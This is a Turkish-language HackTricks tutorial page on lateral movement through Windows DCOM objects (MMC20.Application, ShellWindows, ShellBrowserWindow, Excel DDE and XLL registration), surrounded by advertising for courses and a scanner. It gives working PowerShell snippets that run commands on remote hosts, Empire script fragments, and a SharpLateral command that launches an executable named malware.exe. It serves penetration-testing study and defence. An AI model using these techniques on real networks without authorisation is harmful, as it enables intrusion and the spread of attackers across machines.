10 KiB
DCOM Exec
AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'a katılın!
- Bir cybersecurity şirketinde çalışıyor musunuz? Şirketinizi HackTricks'te reklamını yapmak ister misiniz? veya PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARINI kontrol edin!
- The PEASS Ailesi'ni, özel NFT'lerimiz koleksiyonumuzu keşfedin.
- Resmi PEASS & HackTricks ürünlerini edinin.
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter'da takip edin 🐦@carlospolopm.
- Hacking hilelerinizi hacktricks repo ve hacktricks-cloud repo ile göndererek paylaşın.
![](/Mirrors/hacktricks/media/commit/6cb783ece2b517410a46ee862122266115a28b3e/.gitbook/assets/image%20%28675%29.png)
En önemli güvenlik açıklarını bulun ve daha hızlı düzeltebilin. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. Ücretsiz deneyin bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
MMC20.Application
Bu teknik hakkında daha fazla bilgi için https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ adresindeki orijinal yazıyı kontrol edin.
Dağıtılmış Bileşen Nesne Modeli (DCOM) nesneleri, ağ tabanlı nesnelerle etkileşim için ilginç bir yetenek sunar. Microsoft, DCOM ve Bileşen Nesne Modeli (COM) için kapsamlı belgelendirme sağlar, DCOM için buraya ve COM için buraya erişilebilir. Bir DCOM uygulamasının listesi, PowerShell komutu kullanılarak alınabilir:
Get-CimInstance Win32_DCOMApplication
COM nesnesi, MMC Uygulama Sınıfı (MMC20.Application) MMC eklenti işlemlerinin betikleştirilmesini sağlar. Özellikle, bu nesne Document.ActiveView
altında ExecuteShellCommand
yöntemini içerir. Bu yöntem hakkında daha fazla bilgi burada bulunabilir. Çalıştırmak için kontrol edin:
Bu özellik, bir DCOM uygulaması aracılığıyla ağ üzerinde komutların yürütülmesini kolaylaştırır. Uzaktan yönetici olarak DCOM ile etkileşim kurmak için PowerShell aşağıdaki gibi kullanılabilir:
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
Bu komut, DCOM uygulamasına bağlanır ve COM nesnesinin bir örneğini döndürür. Ardından ExecuteShellCommand yöntemi çağrılarak uzak makinede bir işlem yürütülür. İşlem aşağıdaki adımları içerir:
Yöntemleri kontrol et:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member
RCE Elde Et:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member
# Then just run something like:
ls \\10.10.10.10\c$\Users
ShellWindows ve ShellBrowserWindow
Bu teknik hakkında daha fazla bilgi için orijinal yazıya https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ bakabilirsiniz.
MMC20.Application nesnesinin, "LaunchPermissions" açık izinlere sahip olmadığı belirlendi ve varsayılan olarak Yöneticilere erişim izni verildi. Daha fazla ayrıntı için buradaki bir konu incelenebilir ve @tiraniddo'nun OleView .NET'inin, açık Launch Permission olmayan nesneleri filtrelemek için kullanılması önerilir.
ShellBrowserWindow
ve ShellWindows
adlı iki özel nesne, açık Launch Permission olmaması nedeniyle vurgulandı. HKCR:\AppID\{guid}
altında LaunchPermission
kayıt girişinin olmaması, açık izinlerin olmadığını gösterir.
ShellWindows
ProgID olmayan ShellWindows
için, .NET yöntemleri Type.GetTypeFromCLSID
ve Activator.CreateInstance
, AppID kullanarak nesne örnekleme işlemini kolaylaştırır. Bu işlem, OleView .NET'in kullanılmasıyla ShellWindows
için CLSID'nin alınmasını sağlar. Bir kez örneklendirildikten sonra, etkileşim WindowsShell.Item
yöntemi aracılığıyla mümkün olur ve Document.Application.ShellExecute
gibi yöntem çağrılarına yol açar.
Uzaktan nesne örnekleme ve komutları çalıştırma için örnek PowerShell komutları sağlandı:
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
Excel DCOM Nesneleri ile Yanal Hareket
Yanal hareket, DCOM Excel nesnelerini istismar ederek elde edilebilir. Detaylı bilgi için, DCOM üzerinden yanal hareket için Excel DDE'nin kullanılması hakkındaki tartışmayı Cybereason'un blogunda okumanız önerilir.
Empire projesi, Excel'in DCOM nesnelerini manipüle ederek uzaktan kod yürütme (RCE) için kullanımını gösteren bir PowerShell betiği sağlar. Aşağıda, Excel'i RCE için istismar etmek için farklı yöntemleri sergileyen Empire'in GitHub deposundan alınan betik parçaları bulunmaktadır:
# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}
Yana Yayılma için Otomasyon Araçları
Bu teknikleri otomatikleştirmek için iki araç öne çıkıyor:
-
Invoke-DCOM.ps1: Empire projesi tarafından sağlanan bir PowerShell betiği, uzak makinelerde kodu yürütmek için farklı yöntemlerin çağrılmasını basitleştirir. Bu betik, Empire GitHub deposunda erişilebilir.
-
SharpLateral: Uzaktan kod yürütmek için tasarlanmış bir araçtır ve aşağıdaki komutla kullanılabilir:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
Otomatik Araçlar
- Powershell betiği Invoke-DCOM.ps1, diğer makinelerde kodu yürütmek için yorumlanmış tüm yöntemleri kolayca çağırmaya olanak sağlar.
- Ayrıca SharpLateral kullanabilirsiniz:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
Referanslar
- https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
- https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
![](/Mirrors/hacktricks/media/commit/6cb783ece2b517410a46ee862122266115a28b3e/.gitbook/assets/image%20%28675%29.png)
En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. Ücretsiz deneyin bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini edinin
- Özel NFT'lerden oluşan koleksiyonumuz olan The PEASS Family'yi keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm'da takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.